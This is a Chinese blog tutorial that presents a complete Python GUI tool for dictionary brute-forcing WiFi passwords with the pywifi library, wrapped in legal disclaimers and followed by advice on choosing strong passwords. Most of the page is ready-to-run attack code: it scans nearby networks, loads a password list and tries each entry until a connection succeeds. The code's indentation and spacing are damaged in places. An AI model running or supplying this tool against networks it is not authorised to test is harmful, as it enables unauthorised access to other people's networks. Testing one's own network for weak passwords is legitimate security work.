当前位置:首页>python>Python自制WiFi密码破解工具!带GUI可视化界面,字典暴力破解

Python自制WiFi密码破解工具!带GUI可视化界面,字典暴力破解

  • 2026-10-11 06:56:42
Python自制WiFi密码破解工具!带GUI可视化界面,字典暴力破解

郑重法律声明(全文前置必读)

一、法律红线与使用准则

  1. 未经WiFi所有者明确书面许可,使用本程序扫描、尝试破解他人无线网络密码属于违法行为依据《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》《中华人民共和国刑法》相关条例:
  • 私自入侵、窃取他人无线网络、盗取网络资源,会被处以罚款、行政拘留;
  • 情节严重(批量破解、牟利、窃取用户隐私数据)将涉嫌非法侵入计算机信息系统罪,承担有期徒刑等刑事责任;
  • 蹭网、破解邻居/公共私有WiFi,均属于侵权行为,需赔偿对方网络资费、数据损失。
  1. 本文内容、代码仅用于网络安全爱好者个人学习、实验室自有WiFi授权安全检测、网络攻防原理科普,禁止一切非授权商用、破解他人网络行为。
  2. 因违规滥用代码产生的一切法律后果、民事赔偿均由使用者自行承担,本文作者不承担任何连带责任。

二、科普前言:WiFi字典爆破原理浅析

日常家用WiFi主流加密方式为WPA2-PSK,这类加密本身安全性尚可,但如果用户设置了简单数字、生日、手机号、通用弱口令(12345678、88888888等),黑客会采用字典爆破(穷举) 方式:

  1. 无线网卡扫描周边所有WiFi热点名称、信号强度、加密类型;
  2. 读取预先编写好的密码字典文本文档;
  3. 程序自动逐条调取字典内密码,反复向路由器发起连接验证请求;
  4. 匹配正确密码后即可接入无线网络。

本GUI程序基于Python+pywifi库实现可视化操作,封装了热点扫描、密码字典加载、多线程爆破、运行日志记录、进度展示等功能,方便初学者直观理解无线安全攻防逻辑,核心目的是让大家知晓弱口令风险,从而设置高强度WiFi密码保护自家网络。

三、程序整体功能介绍

(一)核心功能模块

  1. 网卡自动识别:自动读取电脑无线网卡设备,无网卡直接报错提示;
  2. 一键WiFi扫描:后台线程扫描周边热点,自动去重,展示SSID、MAC地址、信号强度、加密协议;
  3. 自定义密码字典:可自由选取本地txt密码本文件;
  4. 可视化字典爆破:选中目标WiFi后一键启动破解,中途可随时终止任务;
  5. 实时运行日志:区分信息、成功、警告、错误四种颜色日志,记录时间戳;
  6. 进度指示器+运行状态:扫描、破解、空闲状态实时切换;
  7. 窗口安全关闭:运行中退出会弹出确认弹窗,避免强制中断导致网卡异常。

(二)界面布局分区

  1. 顶部工具栏:刷新扫描、选择密码本、开始破解、停止任务按钮;
  2. 中部WiFi列表区:表格罗列所有搜到的无线网络信息;
  3. 状态栏:运行文字状态+加载进度条;
  4. 底部日志窗口:全程记录程序运行详情。

四、部署安装教程(Windows系统)

1. 环境要求

  • 系统:Windows7及以上(自带无线网卡,台式机需外接USB无线网卡);
  • 运行环境:Python3.7~Python3.10版本(pywifi库高版本Python兼容性较差)。

2. 依赖库安装

打开CMD命令提示符,输入安装指令:

pip install pywifi

3. 密码字典准备

新建pass_dictionary.txt文本文档,一行填写一个候选密码,示例内容:

12345678
88888888
123123123
66666666
abcd1234

温馨提示:字典越丰富,破解概率越高,但破解耗时会成倍增加;自家WiFi设置大小写字母+数字+符号组合密码,可彻底抵御字典爆破攻击。

4. 运行方式

将代码保存为wifi_crack_gui.py,CMD进入文件所在文件夹,执行:

python wifi_crack_gui.py

随后弹出图形操作窗口即可使用。

五、程序操作使用步骤(仅限自有WiFi授权测试)

  1. 启动程序,软件自动识别无线网卡并初次扫描周边WiFi;
  2. 点击【刷新网络】重新扫描热点,在表格内点击选中需要测试的自家WiFi;
  3. 点击【选择密码本】,导入准备好的txt密码字典;
  4. 点击【开始破解】,弹窗确认后程序自动逐条校验密码;
  5. 日志窗口实时刷新尝试进度,匹配到正确密码会弹窗展示结果;
  6. 可随时点击【停止】终止爆破任务;
  7. 关闭窗口时,若任务正在运行会弹出确认框。

六、安全防护建议(重中之重)

看完破解原理后,学会规避风险才是核心:

  1. WiFi密码杜绝纯数字、生日、手机号、连续数字,推荐8位以上「大写字母+小写字母+数字+特殊符号」组合;
  2. 路由器后台关闭WPS一键连接功能,该功能存在严重安全漏洞;
  3. 隐藏WiFi SSID广播、绑定设备MAC地址接入白名单;
  4. 定期登录路由器后台查看已接入设备,发现陌生设备立刻修改密码;
  5. 不随意连接街边无加密公共WiFi,避免个人信息被窃取。

七、程序局限说明

  1. 仅支持Windows系统,Linux、macOS适配性差;
  2. 无法破解WPA3加密WiFi(新一代加密协议字典爆破基本无效);
  3. 密码复杂度极高时,字典爆破几乎无法成功;
  4. 部分USB无线网卡驱动兼容性不佳,会出现扫描失败问题;
  5. 破解速度受网卡性能、字典大小、路由器响应速度影响。

八、合规重申

再次强调:所有测试仅限个人名下自有无线网络,盗取他人网络资源属于违法行为,网络空间并非法外之地,切勿抱有侥幸心理。学习攻防技术的初衷是守护网络安全,而非肆意入侵破坏。


完整Python源代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WiFi Password Cracker - GUI图形界面版本
参考自: https://github.com/takudzwa21/WiFi-password-cracker
仅用于自有WiFi授权安全学习测试,禁止非法破解他人无线网络
违规使用产生一切法律责任由使用者自行承担
"""


import os
import sys
import time
import threading
from datetime import datetime
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog

try:
import pywifi
from pywifi import const
except ImportError:
    print("依赖缺失,请打开CMD执行安装命令:pip install pywifi")
    sys.exit(1)


classWiFiCrackerGUI:
def__init__(self, root):
        self.root = root
        self.root.title("WiFi安全检测工具-GUI学习版 | 仅限自有网络授权测试")
        self.root.geometry("800x600")
        self.root.resizable(True, True)

# 初始化无线网卡对象
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0] if self.wifi.interfaces() elseNone
        self.scan_results = []
        self.is_running = False
        self.target_ssid = None

# 绘制界面组件
        self.create_widgets()

# 初始化启动日志
        self.log("=" * 60)
        self.log("WiFi安全检测工具启动完成")
        self.log(f"系统无线网卡: {self.iface.name() if self.iface else'未检测到可用无线网卡'}")
        self.log("温馨提醒:仅可测试本人所有的WiFi,非法破解他人网络涉嫌违法")
        self.log("=" * 60)

# 网卡正常则自动初次扫描
if self.iface:
            self.scan_networks()

defcreate_widgets(self):
"""构建全部GUI界面控件"""
# 主容器框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.pack(fill=tk.BOTH, expand=True)

# 顶部功能工具栏
        toolbar = ttk.Frame(main_frame)
        toolbar.pack(fill=tk.X, pady=(0, 10))

        ttk.Button(toolbar, text="🔄 刷新扫描WiFi", command=self.scan_networks).pack(side=tk.LEFT, padx=5)
        ttk.Button(toolbar, text="📁 加载密码字典", command=self.select_wordlist).pack(side=tk.LEFT, padx=5)
        ttk.Button(toolbar, text="🚀 开始安全测试", command=self.start_cracking).pack(side=tk.LEFT, padx=5)
        ttk.Button(toolbar, text="⏹ 终止任务", command=self.stop_cracking).pack(side=tk.LEFT, padx=5)

# 密码字典路径展示标签
        self.wordlist_label = ttk.Label(toolbar, text="密码字典默认: pass_dictionary.txt")
        self.wordlist_label.pack(side=tk.LEFT, padx=20)
        self.wordlist_path = "pass_dictionary.txt"

# WiFi热点列表区域
        list_frame = ttk.LabelFrame(main_frame, text="📡 周边WiFi热点列表", padding="5")
        list_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 10))

# 表格表头定义
        columns = ("序号", "WiFi名称(SSID)", "MAC地址(BSSID)", "信号强度(dBm)", "加密方式")
        self.tree = ttk.Treeview(list_frame, columns=columns, show="headings", height=8)

# 表头设置
        self.tree.heading("序号", text="序号")
        self.tree.heading("WiFi名称(SSID)", text="WiFi名称(SSID)")
        self.tree.heading("MAC地址(BSSID)", text="MAC地址(BSSID)")
        self.tree.heading("信号强度(dBm)", text="信号强度(dBm)")
        self.tree.heading("加密方式", text="加密方式")

# 列宽与对齐设置
        self.tree.column("序号", width=50, anchor="center")
        self.tree.column("WiFi名称(SSID)", width=200)
        self.tree.column("MAC地址(BSSID)", width=150)
        self.tree.column("信号强度(dBm)", width=80, anchor="center")
        self.tree.column("加密方式", width=150)

# 垂直滚动条
        scrollbar = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=self.tree.yview)
        self.tree.configure(yscrollcommand=scrollbar.set)

        self.tree.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
        scrollbar.pack(side=tk.RIGHT, fill=tk.Y)

# 绑定表格选中事件
        self.tree.bind('<<TreeviewSelect>>', self.on_network_select)

# 状态栏与进度条区域
        info_frame = ttk.Frame(main_frame)
        info_frame.pack(fill=tk.X, pady=(0, 5))

        self.status_label = ttk.Label(info_frame, text="运行状态: 空闲就绪", font=("Arial", 10))
        self.status_label.pack(side=tk.LEFT)

        self.progress_bar = ttk.Progressbar(info_frame, mode='indeterminate', length=150)
        self.progress_bar.pack(side=tk.RIGHT, padx=10)

# 运行日志输出区域
        log_frame = ttk.LabelFrame(main_frame, text="📋 程序运行日志", padding="5")
        log_frame.pack(fill=tk.BOTH, expand=True)

        self.log_text = scrolledtext.ScrolledText(
            log_frame,
            height=8,
            font=("Consolas", 9),
            wrap=tk.WORD
        )
        self.log_text.pack(fill=tk.BOTH, expand=True)

# 日志文字颜色分类配置
        self.log_text.tag_config("INFO", foreground="
#0055cc")
        self.log_text.tag_config("SUCCESS", foreground="#009933")
        self.log_text.tag_config("ERROR", foreground="#dd2222")
        self.log_text.tag_config("WARNING", foreground="#ee7700")

deflog(self, message, level="INFO"):
"""写入带时间戳的日志信息"""
        timestamp = datetime.now().strftime("%H:%M:%S")
        log_entry = f"[{timestamp}] [{level}] {message}\n"

        self.log_text.insert(tk.END, log_entry, level)
        self.log_text.see(tk.END)
        self.root.update_idletasks()

defscan_networks(self):
"""后台线程扫描周边所有WiFi热点"""
ifnot self.iface:
            messagebox.showerror("硬件错误", "未检测到电脑无线网卡,无法执行扫描操作")
return

if self.is_running:
            messagebox.showwarning("操作提示", "当前正在执行密码测试任务,请结束后再扫描")
return

        self.log("开始扫描周边WiFi网络,请稍候...", "INFO")
        self.status_label.config(text="运行状态: 扫描热点中")
        self.progress_bar.start()
        self.root.update()

# 扫描子线程,避免UI卡顿
defscan_thread():
try:
                self.iface.scan()
                time.sleep(3)
                results = self.iface.scan_results()

# 热点去重处理
                seen_ssid = set()
                self.scan_results = []
for net in results:
                    ssid = net.ssid.strip()
ifnot ssid or ssid in seen_ssid:
continue
                    seen_ssid.add(ssid)
                    self.scan_results.append({
'ssid': ssid,
'bssid': net.bssid,
'signal': net.signal,
'auth': str(net.akm[0]).split('.')[-1] if net.akm else"未知加密",
'cipher': str(net.cipher).split('.')[-1] if net.cipher else"未知"
                    })

# 主线程刷新界面列表
                self.root.after(0, self.update_network_list)
                self.root.after(0, lambda: self.log(f"扫描完成,共检索到 {len(self.scan_results)} 个WiFi热点", "SUCCESS"))
                self.root.after(0, lambda: self.status_label.config(text="运行状态: 空闲就绪"))
                self.root.after(0, self.progress_bar.stop)

except Exception as e:
                self.root.after(0, lambda: self.log(f"WiFi扫描异常: {str(e)}", "ERROR"))
                self.root.after(0, self.progress_bar.stop)

        threading.Thread(target=scan_thread, daemon=True).start()

defupdate_network_list(self):
"""刷新表格内WiFi数据"""
# 清空原有内容
for item in self.tree.get_children():
            self.tree.delete(item)

# 遍历写入新扫描结果
for idx, net in enumerate(self.scan_results, 1):
            self.tree.insert("", tk.END, values=(
                idx,
                net['ssid'][:30],
                net['bssid'],
                net['signal'],
                net['auth']
            ))

defon_network_select(self, event):
"""选中表格WiFi热点触发事件"""
        selection = self.tree.selection()
if selection:
            item = selection[0]
            values = self.tree.item(item, 'values')
if values:
                idx = int(values[0]) - 1
if0 <= idx < len(self.scan_results):
                    self.target_ssid = self.scan_results[idx]['ssid']
                    self.log(f"已选定测试目标WiFi:{self.target_ssid}", "INFO")
                    self.status_label.config(text=f"运行状态: 已选定 {self.target_ssid}")

defselect_wordlist(self):
"""弹窗选择自定义密码字典txt文件"""
        filepath = filedialog.askopenfilename(
            title="选取密码字典文本文件",
            filetypes=[("文本文件(*.txt)", "*.txt"), ("全部文件", "*.*")]
        )
if filepath:
            self.wordlist_path = filepath
            self.wordlist_label.config(text=f"密码字典: {os.path.basename(filepath)}")
            self.log(f"已加载密码字典路径:{filepath}", "INFO")

defstart_cracking(self):
"""启动WiFi密码字典测试"""
ifnot self.iface:
            messagebox.showerror("硬件错误", "无可用无线网卡,无法进行测试")
return

ifnot self.target_ssid:
            messagebox.showwarning("操作提醒", "请先在热点列表中选中需要测试的自有WiFi")
return

if self.is_running:
            messagebox.showwarning("操作提醒", "已有密码测试任务正在运行中")
return

# 校验密码字典文件是否存在
ifnot os.path.exists(self.wordlist_path):
            messagebox.showerror("文件错误", f"密码字典文件不存在:{self.wordlist_path}")
return

# 合规二次确认弹窗
        confirm_msg = f"确认仅对本人拥有的WiFi「{self.target_ssid}」进行安全弱口令检测?\n非法破解他人WiFi将触犯法律!"
ifnot messagebox.askyesno("合规确认", confirm_msg):
return

        self.is_running = True
        self.log(f"正式启动 {self.target_ssid} 弱口令安全检测", "INFO")
        self.log(f"调用密码字典:{self.wordlist_path}", "INFO")
        self.status_label.config(text=f"运行状态: 正在检测 {self.target_ssid}")
        self.progress_bar.start()

# 测试后台线程
defcrack_thread():
try:
# 断开网卡原有WiFi连接
                self.iface.disconnect()
                time.sleep(1)

                try_count = 0
                password_found = False

with open(self.wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
ifnot self.is_running:
break

                        pwd = line.strip()
ifnot pwd:
continue

                        try_count += 1
# 每尝试50个密码打印一次进度日志
if try_count % 50 == 0:
                            self.root.after(0, lambda t=try_count: self.log(f"已累计尝试 {t} 组密码", "INFO"))

# 验证密码有效性
if self.test_connection(self.target_ssid, pwd):
                            password_found = True
                            self.root.after(0, lambda p=pwd: self.log(f"✅ 检测完成,弱口令匹配成功!WiFi密码:{p}", "SUCCESS"))
                            self.root.after(0, lambda p=pwd: messagebox.showinfo("安全检测结果",
f"WiFi弱口令检测成功\nWiFi名称:{self.target_ssid}\n密码:{p}\n建议尽快修改高强度密码提升安全性"))
break

# 字典遍历完毕未找到密码
ifnot password_found and self.is_running:
                    self.root.after(0, lambda: self.log(f"字典遍历结束,累计尝试{try_count}组密码,未匹配到有效密码,WiFi密码安全性较高", "WARNING"))

except Exception as err:
                self.root.after(0, lambda: self.log(f"密码检测过程出错:{str(err)}", "ERROR"))
finally:
                self.root.after(0, self.crack_finished)

        threading.Thread(target=crack_thread, daemon=True).start()

deftest_connection(self, ssid, password):
"""传入WiFi名称与密码,测试能否正常连接"""
try:
# 构建WiFi连接配置文件
            profile = pywifi.Profile()
            profile.ssid = ssid
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = password

# 清空原有配置,添加临时配置并连接
            self.iface.remove_all_network_profiles()
            temp_profile = self.iface.add_network_profile(profile)
            self.iface.connect(temp_profile)
            time.sleep(1.5)

# 判断连接状态
return self.iface.status() == const.IFACE_CONNECTED
except:
returnFalse

defcrack_finished(self):
"""任务结束资源重置"""
        self.is_running = False
        self.progress_bar.stop()
        self.status_label.config(text="运行状态: 空闲就绪")
        self.iface.disconnect()

defstop_cracking(self):
"""手动终止正在进行的密码测试任务"""
if self.is_running:
            self.is_running = False
            self.log("用户手动终止弱口令检测任务", "WARNING")
            self.status_label.config(text="运行状态: 任务已终止")
            self.progress_bar.stop()
            self.iface.disconnect()
else:
            messagebox.showinfo("提示", "当前没有正在运行的检测任务")

defon_closing(self):
"""窗口关闭事件处理"""
if self.is_running:
            close_confirm = messagebox.askyesno("退出确认", "密码检测任务正在运行,确定关闭程序退出吗?")
if close_confirm:
                self.is_running = False
                self.root.destroy()
else:
            self.root.destroy()


defmain():
    window = tk.Tk()
    app = WiFiCrackerGUI(window)
    window.protocol("WM_DELETE_WINDOW", app.on_closing)
    window.mainloop()


if __name__ == "__main__":
    main()

文末结语

无线网络安全是居家网络防护的基础,这段代码最大的意义不是教会大家破解WiFi,而是直观展现弱口令的安全漏洞。设置复杂密码、定期维护路由器,才能杜绝网络被蹭、隐私泄露的隐患。网络安全需要每个人共同遵守法律法规,共建清朗网络环境。

最新文章

随机文章